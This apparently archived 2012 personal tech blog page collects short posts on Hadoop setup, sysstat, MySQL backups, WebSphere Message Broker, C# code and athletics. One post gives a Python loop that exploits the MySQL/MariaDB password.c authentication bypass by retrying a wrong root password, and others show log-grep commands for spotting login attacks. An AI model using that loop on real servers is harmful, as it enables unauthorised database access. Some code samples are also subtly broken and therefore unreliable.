Posts

Showing posts from 2012

Parallel Programming in Rust

Rust, maintained by the Mozilla Foundation is a programming language which is intended to make writing secure, reliable, fast, and  parallel applications easier.

http://www.rust-lang.org/

Rackspace Cloud SDK

Rackspace has just launched its cloud SDK.

It is based on the OpenStack open source cloud services.

http://devops.rackspace.com/523/rackspace-sdks

Julia - Parallel Programming Made Easy

I always liked the name Julia but now we have a nice new parallel programming language with that very name.

The Julia Programming language is a parallel computing model that works across multiple cores and cluster nodes.

To read more
http://julialang.org/

Performance Testing Across Regions

Just recently I needed to perform some load / stress testing on a web application hosted on the east coast of america.

I had a number of dedicated test boxes around Ireland and the UK

but I was concerned that the geographic distance may be playing a part in the results I was seeing

So I needed to get a server in the US from which I could launch similar tests.

M-Net is a public-access UNIX system based in Ann Arbor, Michigan, owned by Arbornet

You can telnet in to m-net.arbornet.org, login with newuser, no password, and it will allow you setup a username with password on a free bsd shell

Great idea. It allowed me perform performance tests on my web app on the east coast from mid western US.


Monitor Ubuntu with sysstat

Installing sysstat on Ubuntu

1. Install
apt-get install sysstat

2. Enable collection of system performance data
vi /etc/default/sysstat
set “ENABLED” to “true”.

3. Start the sysstat service
/etc/init.d/sysstat start

4. Take a look at performance data every 10 minutes.
sar

If you'd like to change the interval (every 10 minutes) by which sysstat collects data.  You can change the interval by editing /etc/cron.d/sysstat
PATH=/usr/lib/sysstat:/usr/sbin:/usr/sbin:/usr/bin:/sbin:/bin
# Activity reports every 10 minutes everyday 5-55/10 * * * * root command -v debian-sa1 > /dev/null && debian-sa1 1 1
# Activity reports every 5 minutes everyday 5-55/5 * * * * root command -v debian-sa1 > /dev/null && debian-sa1 1 1

Recursive FTP from linux command prompt

An interesting option I just came accross while trying to FTP a complete site down to my linux clinet from the command line

Instead of using the ftp client or mget etc

you can use

wget -r ftp://username:password@www.yourdomain.com/

But I think this may only recurse directories down to a level of 5

So using the switch -l 0

This solves that problem

wget -r  -l 0 ftp://username:password@www.yourdomain.com/

Getting Started with HADOOP - Single Server, Multiple Node Simulation

Hadoop can also be run on a single-node in a pseudo-distributed mode where each Hadoop daemon runs in a separate Java process.

1. Install Java SDK if not already
java -version
In my case java version "1.6.0_22" was available
So
whereis javac

If you don't have a recent java sdk installed download jdk and install
wget http://download.oracle.com/otn-pub/java/jdk/6u30-b12/jdk-6u30-linux-i586-rpm.bin

Make sure to note the location where you install for use later in setting JAVA_HOME in my case JAVA_HOME was set to /usr

2. Do some basic tasks to make life easy

mkdir /hadoop
useradd hadoop
passwd hadoop
groupadd hadoop

3. Get stable release of hadoop, install in to /hadoop/hadoop
cd /hadoop
wget http://ftp.heanet.ie/mirrors/www.apache.org/dist/hadoop/common/stable/hadoop-1.0.3.tar.gz

tar -xvf  hadoop-1.0.3.tar.gz

mv hadoop-1.0.3 hadoop
export HADOOP_INSTALL=/hadoop/hadoop
export PATH=$PATH:$HADOOP_INSTALL/bin
Set these up in your login profile to ensure they are set each time you login.

4.Se…

Commands That Help Watch Your System Logs

Some useful grep / sed / cut commands to help you monitor your log files and detect possible attacks to your system.

Mainly based on CentOS 5.4 but can be tailored for other distros

1. Search through /var/log/secure and determine what IPs have the highest failed attempts to your FTP daemon in this instance vsftpd

grep "authentication failure" secure.* | grep vsftpd   | sed s/::ffff://g  | cut -d' ' -f14 |sort|uniq -c|sort -nr|more


2. Search through /var/log/secure and determine what IPs have the highest failed attempts to your SSHD daemon
grep "refused connect from" secure.*  | grep "sshd" | sed s/::ffff://g  | cut -d' ' -f9 |sort|uniq -c|sort -nr|more

Python Script to Test MySQL password.c hack

vi /root/MySQLByPass.py
==========
#!/usr/bin/python
import subprocess

while 1:
subprocess.Popen("mysql -u root mysql --password=xx",shell=True).wait()
==========
python /root/MySQLByPass.py

Security vulnerability in MySQL/MariaDB

A vulnerability has been identified in Mysql and MariaDB.

Basically under specific conditions it is possible for an attacker to provide any password and it will be accepted.

The source file affected is password.c

you can find an more detailed explaination and a fix here

http://seclists.org/oss-sec/2012/q2/493

All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are vulnerable.
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

If you know a username (root in most cases).  A situation arises where if you connect approx 250 to 300 times, that mysql will allow you connect without any password.

Windows 7 P2V 0xc0000225 and 0x0000007b Error

This was a procedure I found on the web to resolve error 0xc0000225 and 0x0000007b when booting a virtual windows 7 system after performing a p2v


Mont the Win7 DVD in VMware Workstation using the removable media options or else change the bios setting in the VM so it will boot from an ISO image.At the first screen (Language Selection), hit Shift-F10 for a command prompt.Run Regedit.Highlight HKEY_LOCAL_MACHINELoad the system hive from the VM's disk, File > Load HiveSelect < c: > \Windows\System32\config\systemRegedit will ask for a Key name: Name it something like "asdf"Expand HKEY_LOCAL_MACHINE\asdf\ControlSet001\Services\intelideChange the data for value "Start" from "3" to "0".For each service listed below under HKLM/System/CurrentControlSet001/Services/ set the "Start" parameter to the corresponding value from the list below
Aliide = 3
Amdide =3
Atapi = 0
Cmdide = 3
iaStorV = 3
intelide = 0
msahci = 3
pciide = 3
viaide …

Chive May Replace phpmyadmin

Chive is a Web 2.0 front end for SQL database management.

http://www.chive-project.com/

Simple Windows Monitoring with PolyMon

PolyMon is an open source system monitoring solution that can be used to generate email alerts and analyze historical trends of monitor counters and monitor statuses.

It is based on the .NET 2.0 framework and SQL Server 2005.

The most recent version integrates with Visual Studio 2010

http://polymon.codeplex.com/

I write some software using VB.NET and C# and this is ideal as an add-on, where I can extend it to allow me monitor application specific logs.

Using Unison to Take MySQL Copy

Recently I needed to take a copy of a mysql database dump on a regular basis from a remote CentOS database server hosted in a data centre in the UK, on to a Windows Server based in Ireland also running a similar version of MySQL.

We require a copy of the data on an hourly basis

So I decided to try out unison to synchronize folders between a remote server and local server

Windows Server

Firstly download unison from this located at
http://www.cis.upenn.edu/~bcpierce/unison/download.html

When I downloaded the latest binary option for Windows you get two files, one is the text/command line tool and the other is an application based on gtk.

I took a copy of the command line application, created a folder called c:\unison an dropped my file in to that folder.You will also need to grab a copy of an ssh client that will run under windows. you can go with something like cygwin but I wanted something that was quick to install and had a small foot print so I selected

OpenSSH for Windows
http://sshwindo…

Android - adb devices error device not found

I've been developing some basic android applications.  
After carrying out some testing using the emulator within eclipse I wanted to deploy the app to my phone so I could show to some customers.
You'd think it would be fairly straight forward, not so.  
Anyway  a little problem I came across was when I ran the command 
adb devices
From the platform-tools folder it was showing no devices attached even though I'd connected my phone and I'd set USB debug mode according to the android SDK how-tos.
I also tried to reboot the adb daemon with
adb reboot recovery
Again no joy
Finally I tried the following and it worked
adb kill-server adb start-server
And finally adb devices listed my phone correctly

Different Domains For Same X-CART Admin Site

Image
Recently I came across a problem where I needed to give users both internal and remote access to the admin features of an x-cart ecommerce site.

Basically in this instance we host the admin portion of the site on an internal server and the actual online store is hosted in two data centres one in Ireland and the other in the UK.

The problem I had, I wanted to use two different domains e.g.



http://intheoffice/admin
http://workingremote.yourdomain.com/admin


The problem with earlier versions of x-cart is that you can only assign a single domain name to the one installation.

To do this you change
$xcart_http_host to point to the domain you wish to use

I was using WAMP on a Windows Server 2003 system

So to get around this, because I was using only the admin portion of the site

I knew the source code for the admin features would not change that often (if at all)

so I created two working directories


c:\webfolder\internal    // this is the directory that will contain code which will be execute…

VMWARE Converter to create DR for Workstations In Remote Locations

Image
Recently I've been working on a project that involves creating an easy to use, quick way to rebuild a workstation in the event of a hardware failure.
The environment is very different to your typical network environment in that the following characteristics hold true
1. There is no internet connection on this workstation. 2. The workstations work in a harsh environment on a network segment of their up 3. There is a manual procedure in place to allow you connect the workstation to a central company network where you can access central file shares etc. 4. This environment is replicated throughout the business at several locations each location been isolated as above.
You can use tools like Ghost or Symantec System Recovery however I came up with this easy to use option that meets with the requirements of my client.
Because each machine is an identical build, we have a central computer in head office which hosts all the pre-installed software i.e. Windows 7, business applications, b…

Basic Batch Script Backup MySQL Tables To Separate Files

This is a very crude example of how to use a windows batch script to backup each table within a mysql database to an individual sql file in a folder.

@ECHO OFF
FOR /F %%G IN ('"echo show tables | mysql -s -u user -ppassword mydatabase"')  DO mysqldump -s -u user --password=password mydatabase %%G > t:\mysqlbackup\tables\%%G.sql

Transfer XML Files Faster With No Data Loss

Image
If you develop software solutions that require the transfer of large XML files between computer systems accross a distributed network or if you are developing software for devices with limited computational resources such as memory or available bandwidth, OpenEXI can substantially enhance the performance of your software.

What is OpenEXI?

OpenEXI is an open source Java implementation that provides tools you can use to transform XML files to Efficient XML Interchange (EIX) format and
back.

This transformation can be performed very quickly with no risk of data loss.

What is EXI?

EXI (Efficient XML Interchange) is a more concise method of describing XML documents.

To find out more please visit the OpenEXI web site http://openexi.sourceforge.net/

Or watch this quick introduction.


JBoss Stops Responding For Time Period

Somehting you will notice if you are running JBoss from behind a firewall is that it can take a long time to respond to some events.

This is becasue JBoss is trying to resolve external references to xsd files.

You should see messages similar to this in your log files

16:07:03,071 WARN  [JBossEntityResolver] Trying to resolve systemId as a non-file URL: http://java.sun.com/xml/ns/persistence/persistence_2_0.xsd

To get around this and to speed things up you need to change the reference in persistence.xml to a local xsd file

Like this

Step 1:

Download persistence_2_0.xsd, and place it in your META-INF folder.

Step 2:

Change persistence.xml to point to local file reference

<persistence version="2.0"
 xmlns="http://java.sun.com/xml/ns/persistence"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="file://persistence_2_0.xsd
        http://java.sun.com/xml/ns/persistence">

First Comp, Good Weekend

A good enough weekend, didn't throw that well on Saturday but it was my first competition in a long time.

So can only get better.  Need a lot of work to improve my throwing technique

Its a great hobby outside computers.  Next event will be the Kerry County Masters on 27th May this year.

Anyway time to get back to the serious work.


A break from technology

Image
At last its time for my first athletics competition in over 15 years. My last competition was in 1997, a life time ago.  I was an average sprinter in those days 200m and 400m.

About 18 months ago I started to get fit again.

But its surprising how quickly the bug catches you, I started with a pretty basic routine 3 days per week but after a couple of months I already found myself trainign 5 to 6 times a week and enjoying it.

About 6 months ago I decided I'd put all that training to use, and I started to focus in on a specific event. I never did any throwing events before.

So I thought the shot put would be the easiest to learn.   Could I be more wrong.  For an event that looks very simple on TV, its a lot more complex.  But its good to learn something new.

Anyway first competition tomorrow.

The Leevale Games 2012

http://www.leevale.org/2012/leevale-2012-tf-meet-notices/


The European Junior 1500m silver-medallist Ciara Mageean will be taking part and I can't wait to see that ra…

DFDL Implementation

Excellent presentation from Steve Hanson IBM, explaining DFDL and its implementation within IBM Websphere Message Broker v8.0


DFDL Implementation - Modeling Text and Binary Data using WebSphere Message Broker V8

Using Message Broker in a HA Environment

Previous to Message Broker 7, the Transaction ID (TID) store was standalone and specific to each individual Broker in your system architecture architecture.  This made building HA solutions difficult and potentially error prone.

As a result it was possible for an event to generate duplicate updates as a result of having two different TIDs for the same event in two different TID stores (one for each broker).  


With the introduction of Message Broker 7 support for a shared queue as the TID store was introduced.
This enables a shared TID store to support multiple brokers, by configuring the TID store on a single remote queue manager.
As all brokers use the same central TID Store,  each Message Broker can ensure transaction integrity and avoid duplicate event delivery in the event of a connection failure.
http://www.ibm.com/developerworks/websphere/library/techarticles/1203_agarwal/1203_agarwal.html

skipfish - web security testing

SKIPFISH is an automated, active web application security assessment tool.

SKIPFISH can be used to run  a series of tests on a website or web application to help identify potential secuirty risks.

SKIPFISH will classify risks discovered as high, medium and low.

Example risks are

Server-side SQL injection Explicit SQL-like syntax in GET or POST parameters.Server-side shell command injectionServer-side XML / XPath injection Format string vulnerabilities.Integer overflow vulnerabilities.
For more information visit http://code.google.com/p/skipfish/

Spring Roo: A lightweight RAD tool for Java

Spring Roo is a lightweight RAD tool for Java.  

Roo makes it fast and easy to develop software applications based on Spring.

Applications created using Spring Roo follow Spring best practices and are based on standards such as

JPABean Validation (JSR-303)Dependency Injection (JSR-330)
Roo is ideal for quick protoype application development and I've found it really useful for creating quick CRUD (Create, Read, Update and Delete) based software demos for clients.

In my view it still has a long way to go before it can be used for creating savy looking, complex commercially viable software solutions.

You can find out more at
http://www.springsource.org/roo 

Improve Data Quality with DataCleaner

DataCleaner is an easy to use open source data quality tool that is designed to help you profile, compare, validate and monitor datasets from various data sources.

DataCleaner consist of
A standalone windows application for profiling, comparing and validating your datasets.A web based applciation for monitoring datasets.
Some key features of DataCleaner include:
Profiles a dataset quicklyIntegrate with most data sources including Oracle, MySQL, MS Access, SQL Server, CSV files, dbase and moreFind out which values occur the most with the Value Distribution profileDiscover patterns in your dataset with the Pattern Finder You can find out more on the DataCleaner website here

w3af - Web Application Penetration Testing

w3af (Web Application audit and attack framework) is a framework for auditing and exploiting  web applications.  These are some excellent articles on using w3af to help with your web application penetration testing tasks.  

Walkthrough and tutorial – Part 1w3af walkthrough and tutorial part 2 – Discovery and Audit pluginsw3af Walkthrough and Tutorial
In addition you can also find a list of 35 Web Penetration Tools used for Web Application Vulnerability Testing listed here on Back2Hack

Cloudyn Addresses the Economics of Public Cloud Computing

Cloudyn is the first service that allows people to optimize and control their costs for public cloud computing such as Amazon.

http://cloudyn.com/

In summary Cloudyn will  Help you change your image provisioning and price plans at Amazon so that you can achieve the results that you want at the lowest possible cost. Lead to higher usage of public cloud services such as Aamazon as their price/performance trade-off can now be better managed.Put additional pressure on internal IT departments and external IT service providers to provide the same kind of data and management options to their internal business funcitons and customers. Cloudyn is at a very early stage. They will need to extend the service to allow more sophisticated analysis of how cloud images are provisioned and utlised as a result of application specific performance demands such as transaction throughput, response times, concurrency etc

they will also need to extend the service to work with other cloud vendors i.e. Microsoft A…

Apache Apollo

Apache releases new generation of ApacheMQ
http://activemq.apache.org/apollo/index.html

And it produces some interesting performance results. You can read more at this blog

These guys ran STOMP benchmarks against the lastest releases of the 4 most feature packed STOMP servers:

Apache ActiveMQ 5.5.1Apache ActiveMQ Apollo 1.0 Beta 6 (an ActiveMQ Subproject)HornetQ 2.2.5RabbitMQ 2.7.0

Tune Up Paging with vmtouch

A nice tool I came across recently ‘vmtouch’ which is used to help you manage what data is in memory.  Its great when failing over from one machine to another where there is no active memory profile already.
To get started download vmtouch from here http://hoytech.com/vmtouch/vmtouch.c
Then compile with the following gcc -Wall -O3 -o vmtouch vmtouch.c
To find out how much of your /bin directory is in the file system cache run
./vmtouch /bin
You will see something similar to this
       Files: 91      Directories: 1   Resident Pages: 512/2115  2M/8M  24.2%          Elapsed: 0.002669 seconds
If I want to check how much of mysqld is in the cache
./vmtouch  /usr/libexec/mysqld            Files: 1      Directories: 0   Resident Pages: 671/1886  2M/7M  35.6%          Elapsed: 0.00029 seconds
Say you want to check how much of your mysql indexes are in cache this is two examples
./vmtouch  /var/lib/mysql/xcart/xcart_products.MYI            Files: 1      Directories: 0   Resident Pages: 5309/5309  20M/20M  100%  …

Removing Connections Between Nodes in Message Broker via Java API

import java.io.File;
import java.io.IOException;
import com.ibm.broker.config.appdev.MessageFlow;
import com.ibm.broker.config.appdev.FlowRendererMSGFLOW;

public class LoadMessageFlow
{
    public static void main(String[] args)
    {
        File oMsgFlowFile = new File("/root/ibm/myflow.msgflow");

        MessageFlow oMessageFlow = FlowRendererMSGFLOW.read(oMsgFlowFile);

        MQInputNode oNode1 = (MQInputNode) oMessageFlow.getNodeByName("Node1");
        MQOutputNode mNode2 = (MQOutputNode) oMessageFlow.getNodeByName("Node2");
        oMessageFlow.disconnect(oNode1.OUTPUT_TERMINAL_OUT, oNode2.INPUT_TERMINAL_IN);
    }
}

Read Symantec Backup Exec Job Report XML Files

'----------------------------------------------------
' Basic Routine to Read / Parse XML Job Reports created
' by Symantec Backup Exec.

Dim serverName, backupJobFile, el, jobName, startDateTime, endDateTime, jobStatus
Dim fso,XMLDoc

Set fso = CreateObject("Scripting.FileSystemObject")

backupJobFile ="c:\xml\m.xml"

Set xmlDoc = CreateObject("Msxml2.DOMDocument")

xmlDoc.load(backupJobFile)

Set el = xmlDoc.getElementsByTagName("machine_name")
serverName = el.item(0).Text

Set el = xmlDoc.getElementsByTagName("name")
jobName = Replace(el.item(0).Text,"Job name: ","")

Set el = xmlDoc.getElementsByTagName("start_time")
startDateTime = Replace(el.item(0).Text,"Job started: ","")

Set el = xmlDoc.getElementsByTagName("end_time")
endDateTime = Replace(el.item(0).Text,"Backup completed on ","")

Set el = xmlDoc.getElementsByTagName("engine_completion_s…

New Features in WebSphere MB v8

A list of some new features in websphere Message Broker v8 Better support for Microsoft Integration via the .NET Compute node and access to COM objectsSupport for CLR based .NET languages including  C#, VB.NET.Support for DFDL which now allows your message flow to parse a variety of other data formats.Support for WS-ReliableMessaging (Web Services Reliable Messaging)Create message flows dynamically from your programs with a new command apiRecord, edit and replay messagesImproved activity logging to easily understand broker behaviorEasy to use browser based web administration interface.

Creating a simple Alert / Success Message with ASP.NET/VB using Bootstrap

In your AddContact.aspx page use something like the following

      <div class="row-fluid">
            <div class="span6">
                <h2>New Contact</h2>
            </div>
            <div class="span6">
                <asp:Label ID="AlertWindow" Visible="false" CssClass="alert alert-success" runat="server"></asp:Label>
            </div>
        </div>

And in your AddContact.aspx.vb code use something similar to this.  Basically set the message for the alert window, make the alert window visible and set the approprate css style.  You can make this  alot cleaner with a set of classes to implement bootstrap for ASP.NET.  So this is just an example.

    ......
    ......
    AlertWindow.Visible = True
    Try
        ......
        sSQLQuery = "INSERT INTO......"
        ......
        AlertWindow.Text = "New Contact Added Succes…

Comparison of business integration software

While this may not be 100% up to date its a useful start if you wish to compare the various business integration and business process automation software available on the market.

http://en.wikipedia.org/wiki/Comparison_of_business_integration_software

Using Linux / gcc / gsoap to call MBT SoapInput Node in Message Flow

Firstly download, configure, compile and install gsoap

Step 1: get up and running
mkdir gsoap
wget http://sourceforge.net/projects/gsoap2/files/gSOAP/gSOAP%202.7.16%20stable/gsoap_2.7.16.zip/download
cd /root/gsoap/gsoap-2.7
yum install byacc
yum install bison
yum install flex
./configure
./make
./make install

Step 2: Setup working folder and create stubs from remote wsdl via URL. Note I'm just using plain old C and not C++.

mkdir ./OrderService

wsdl2h -c -o OrderService.h http://83.71.23.20:7800/acmeOrders/WADDR/ProcessOrders?wsdl
soapcpp2 -c OrderService.h
Step 3: Create your test C client using your fav editor (mine vi) #include "soapH.h" #include "OrderServiceSOAP.nsmap"
main() {    struct soap *soap = soap_new();    struct _ns1__submitPORequest  request;    struct _ns1__submitPOResponse response;
   request.partNo="1234";    request.partQuantity=1;    request.personName.firstName="Trevor";    request.personName.lastName="Trevor";    request…

Using Soap Client Library for C++ to Access IBM Message Broker Message Flow via SoapInput Node

SQLData offers a SOAP client library which allows you to access web services using  C/C++ code.  With a few lines of code you can easily access a web service exposed from a SoapInput Node on Websphere Message Broker.

Here is a short example, the trick is to store the parameters you wish to pass to the Web Service Method in two arrays, the first array in this instance pParams stores the parameter names as they appear in the WSDL e.g. partNo etc, note that parameters which have a nested structure within the WSDL, they must appear similar e.g. address.zipCode.  In the second array you store the values. Place a NULL at the end of each array.

Here goes, compiled with Visual Studio 2008, Soap Client Library for C++ 3.6, IBM Message Broker 7.0, Message Broker Toolkit 7.0 and MQ 7.1

#include <windows.h>
#include <tchar.h>
#include "SoapClientApi.h"
#include "exportdef.h"
#include "stringdef.h"


#define DEBUG_MODE_ON 1
#define DEBUG_MODE_OFF 0


int WMB_submitPO(…

Using ServiceMix to Poll Folder for files

xbean in ServiceMix to poll a particular folder for incoming orders, pass them on to service OrderProcess, move a copy to archive folder and delete original from inbox.

<?xml version="1.0"?>
<beans xmlns:f="http://servicemix.apache.org/file/1.0"
   xmlns:tut="http://www.servicemix.org/ns/jbi"
   xmlns:sm="http://servicemix.apache.org/config/1.0">
   <f:poller
      service="tut:orderfilePoller"
      endpoint="pollEndpoint"
      file="${file.poll.folder}"
      targetService="ex:orderProcess"
      period="${file.poll.period}"
      deleteFile="${file.poll.delete}"
      archive="${file.poll.archive}"
      recursive="${file.poll.recursive}" />

   <bean id="propertyConfigurer"  class="org.springframework.beans.factory.config.PropertyPlaceholderConfigurer">
      <property name="location">
         <value…

Easy to use - Bootstrap, from Twitter

Image
I like simplicity, in particular when it comes to UI design, its nice to have a clean, simple, less is more approach.

Recently I came accross bootstrap from twitter and its all of the above.

When you need to design a system that does not require a flashy front end this is ideal. Best about components like this is that they allow you to spend more time on the actual functionality or problem the solution is acutally solving.

Check it out here

http://twitter.github.com/bootstrap/index.html


ULTRAESB - Poll a directory for a file with a specific pattern and upload it with an authenticated HTTP PUT

<u:proxy id="file-proxy">
    <u:transport id="file">
        <u:property name="url" value="file:///hunt/pixmania/orders/incoming"/>
        <u:property name="fileNamePattern" value=".*\.pxml"/>
        <u:property name="startDelay" value="1000"/>
        <u:property name="repeatInterval" value="1000"/>
        <!--<u:property name="concurrent" value="true"/>-->
        <!--<u:property name="cronExpression" value="0 * * ? * MON-FRI"/>-->
        <u:property name="moveAfterProcess" value="/hunt/pixmania/orders/processed"/>
        <u:property name="moveAfterFailure" value="/hunt/pixmania/orders/failed"/>
        <u:property name="moveTimestampFormat" value="yyyy_MM_dd_'T'HH_mm_ss.SSSSZ"/>
    </u:trans…

Implement Observer Design Pattern in C# - Real World Example Brokers watching company Share Price

using System;
using System.Collections.Generic;
using System.Collections;
using System.Linq;
using System.Text;

namespace ShareManager
{
    abstract class Shares
    {
        private string _companysymbol;
        private double _shareprice;
        private List<ShareHolder> _shareholders = new List<ShareHolder>();

        public Shares(string companysymbol, double shareprice)
        {
            this._companysymbol = companysymbol;
            this._shareprice = shareprice;
        }

        public void Watch(ShareHolder shareholder)
        {
            _shareholders.Add(shareholder);
        }

        public void Detach(ShareHolder shareholder)
        {
            _shareholders.Remove(shareholder);
        }

        public void Notify()
        {
            foreach (ShareHolder shareholder in _shareholders)
            {
                shareholder.Update(this);
            }

            Console.WriteLine("");
        }

        public double SharePrice

Basic Parallel Reduction in C#

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace ConsoleReduceApplicationTest
{
    class Program
    {
        public class ReduceSimple
        {
            delegate T Func<T>(T arg0, T arg1);

            T Reduce<T>(T[] input, T seed, Func<T> r)
            {
                T result = seed;
                foreach (T e in input)
                    result = r(result, e);
                return result;
            }

            public void CheckReduce()
            {
                int[] nums = new int[] { 1, 2, 5, 10, 1 };
                int sum = Reduce(nums, 0, (x, y) => x + y);
                int min = Reduce(nums, int.MaxValue, (x, y) => x < y ? x : y);
                int max = Reduce(nums, int.MinValue, (x, y) => x > y ? x : y);
                Console.WriteLine("Total Value=" + sum);
                Console.WriteLine("Max Value=" + max);
                Console.WriteLine(…

Lock Free Stack Implementation in C#

This method compares destination to currentValue, and if they're equal sets destination to newValue and returns currentValue unchanged.

If they aren't equal it just returns the value of destination.

This is done in an atomic fashion i.e. no other thread can interrupt it.  In carrys out this in atomic fashion becasue its executed at hardware level with a single nstruction CMPXCH instruction.


public class LockFreeStack<T> {
    private volatile StackNode<T> m_head;

private static bool CAS(ref Node<T> destination, Node<T> currentValue, Node<T> newValue)
{
   return
         currentValue== Interlocked.CompareExchange<Node<T>>(ref destination, newValue, currentValue);
 }


    public void Push(T item) {
        StackNode<T> node = new StackNode<T>(item);
        StackNode<T> head;
        do {
            head = m_head;
            node.m_next = head;
        } while (m_head != head || CAS(ref m_head, node, head) != head);
   …

Using Microsoft .NET (VS2010) with WebSphere Message Broker V8

I recently upgraded from MB7 and MBT7 to MB8 and MBT8

One of the first features I wanted to try out was the ability for MBT8 to import a .NET assembly

All was fine on the MBT8 side of things and I was able to create my basic Message Broker Project

However when I launched Visual Studio C# and selected New Project

I could not find any project templates for Message Broker

To install these template project wizards I had to run the following from a command prompt

 C:\Program Files\IBM\WMBT800\wmbt\vsixinstall.bat

I assume the vsix stands for Visual Studio Extensions

And it worked

Ruby Talking to MBT SoapInput Node

Image
This is a basic Ruby Script to engage with SoapInput Node running on localhost 7800 with MBT

require 'net/http'
require 'net/https'

# Create te http object
http = Net::HTTP.new('localhost', 7800)
http.use_ssl = false
path = '/acmeOrders/WADDR/ProcessOrders'

# Create the SOAP Envelope
data = <<-EOF
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body>
<submitPORequest xmlns="http://www.acmeOrders.com/OrderService">
<partNo xmlns="">11</partNo>
<partQuantity xmlns="">0</partQuantity>
<personName xmlns="">
<firstName>Trevor</firstName><lastName>O Connell</lastName>
</personName>
<address xmlns="">
&l…

Testing MBT SoapInput Node from VB.NET

Image
Once you've loaded and deploy the SOAP Node Samples project you can add a web service reference in Visual Studio 2088 (Project / Add Web Reference). Enter the URL http://localhost:7800/acmeOrders/WADDR/ProcessOrders?wsdl

In my case I added the reference name "orders"

So from within my Visual Basic.NET code

Dim vOrders As New orders.OrderService()
Dim vRequest As New orders.submitPORequest()
Dim vResponse As New orders.submitPOResponse()
vRequest.partNo = tPartNo.Text
vRequest.address = New orders.submitPORequestAddress()
vRequest.personName = New orders.submitPORequestPersonName()
vRequest.personName.firstName = tFirstname.Text
vRequest.personName.lastName = tLastname.Text
vRequest.address.street = tStreet.Text
vRequest.address.zipCode = tZipCode.Text
vRequest.address.city = tCity.Text
vResponse = vOrders.submitPO(vRequest)
tStatus.Text = vResponse.orderStatus


Below is a screenshot. Its nothing too difficult but it just gets your VB.NET application talking with an MBT Message Flow.

MBT/ESQL : Reduce CPU Load - Access nth Element in Array using Reference

How to reference variables to access elements of an array.

DECLARE ref REFERENCE TO OutputRoot.XML.Invoice.SalesOrders.Item[1];

WHILE LASTMOVE(ref)=TRUE DO
SET ref = ref + 1;
MOVE ref NEXTSIBLING;
END WHILE;

Cloud based logging service

Loggly is a cloud based logging service. It helps you collect, index, and store all your log data with the help of Solr

Dynamic Email from MBT/ESQL

CREATE COMPUTE MODULE Send_Mail
CREATE FUNCTION Main() RETURNS BOOLEAN
BEGIN
-- CALL CopyMessageHeaders();
-- CALL CopyEntireMessage();

CALL CopyMessageHeaders();

-- Add recipient information to the EmailOutputHeader
SET OutputRoot.EmailOutputHeader.To = 'info@dtm.ie';

-- Add sender information to EmailOutputHeader
SET OutputRoot.EmailOutputHeader.From = 'trevor.oconnell@dtm.ie';


-- Add subject to EmailOutputHeader
SET OutputRoot.EmailOutputHeader.Subject = 'Test.';

-- Add SMTP server information to the LocalEnvironment
SET OutputLocalEnvironment.Destination.Email.SMTPServer ='mail.dtm.ie:25';
SET OutputLocalEnvironment.Destination.Email.SecurityIdentity ='MyIdentity';

-- Create a new message body, which will be sent as the main text of the email.
SET OutputRoot.BLOB.BLOB = CAST('This is the new text for the body of the email.' AS BLOB CCSID 1208);  

RETURN TRUE;
END;

CREATE PROCEDURE CopyMessageHeaders() BEGIN
DECLARE I INTEGER 1;
DECLARE J INTEGER;
SET J = …

What's wrong with certificate warnings? How can we abolish them?

A new proposal called "Sovereign Keys", which is intended to resolve weaknesses in the way that encrypted Internet protocols perform authentication for applications such as web servers and mail servers.

Hopefully get rid of those nasty certificate warning messages that no one except techies understand, and even for techies they can be a struggle at times.
More on Sovereign Keys

MBT/ESQL to Modify XML element names

<Shares>
<Kerry>5</Kerry>
<Fexco>12</Fexco>
<AIB>40</AIB>
</Shares>

Change AIB to BOI instead, Feed XML in to XMLNS format MQ Input Node, Create  MQIN

CREATE FUNCTION Main() RETURNS BOOLEAN
BEGIN
-- CALL CopyMessageHeaders();
-- CALL CopyEntireMessage();
SET OutputRoot.XMLNS.Data = ROW(InputBody.Shares.Kerry,
InputBody.Shares.Fexco,
(InputBody.Shares.AIB) AS BOI);
RETURN TRUE;
END;

Receive output in MQ Output Node MQOUT

<Data>
<Kerry>5</Kerry>
<Fexco>12</Fexco>
<BOI>40</BOI>
</Data>

Basic Receive Message to MQ with Java and IBM MQ JMS

package my.mq.samples;

import javax.jms.JMSException;
import javax.jms.Session;
import javax.jms.TextMessage;
import com.ibm.mq.jms.MQQueue;
import com.ibm.mq.jms.MQQueueConnection;
import com.ibm.mq.jms.MQQueueConnectionFactory;
import com.ibm.mq.jms.MQQueueReceiver;
import com.ibm.mq.jms.MQQueueSession;
import com.ibm.msg.client.wmq.WMQConstants;

public class MQReceive {

public static void main(String[] args)
{
try {
MQQueueConnectionFactory cf = new MQQueueConnectionFactory();
cf.setHostName("localhost");
cf.setPort(1414);

cf.setIntProperty(WMQConstants.WMQ_CONNECTION_MODE, WMQConstants.WMQ_CM_CLIENT);

cf.setQueueManager("QM_GRIDSERVER");
cf.setChannel("SYSTEM.ADMIN.SVRCONN");

MQQueueConnection connection = (MQQueueConnection) cf.createQueueConnection();
//MQQueueConnection connection = (MQQueueConnection) cf.createQueueConnection("username","password");

MQQueueSession session = (MQQueueSession) connection.createQueueSession(false, Session.AUTO…

Basic Send Message to MQ with Java and IBM MQ JMS

package my.mq.samples;

import javax.jms.JMSException;
import javax.jms.Session;
import javax.jms.TextMessage;

import com.ibm.mq.jms.MQQueue;

import com.ibm.mq.jms.MQQueueConnection;
import com.ibm.mq.jms.MQQueueConnectionFactory;
import com.ibm.mq.jms.MQQueueSender;
import com.ibm.mq.jms.MQQueueSession;
import com.ibm.msg.client.wmq.WMQConstants;

public class MQSend {

public static void main(String[] args)
{
try {
MQQueueConnectionFactory cf = new MQQueueConnectionFactory();
cf.setHostName("localhost");
cf.setPort(1414);

cf.setIntProperty(WMQConstants.WMQ_CONNECTION_MODE, WMQConstants.WMQ_CM_CLIENT);

cf.setQueueManager("QM_GRIDSERVER");
cf.setChannel("SYSTEM.ADMIN.SVRCONN");

MQQueueConnection connection = (MQQueueConnection) cf.createQueueConnection();
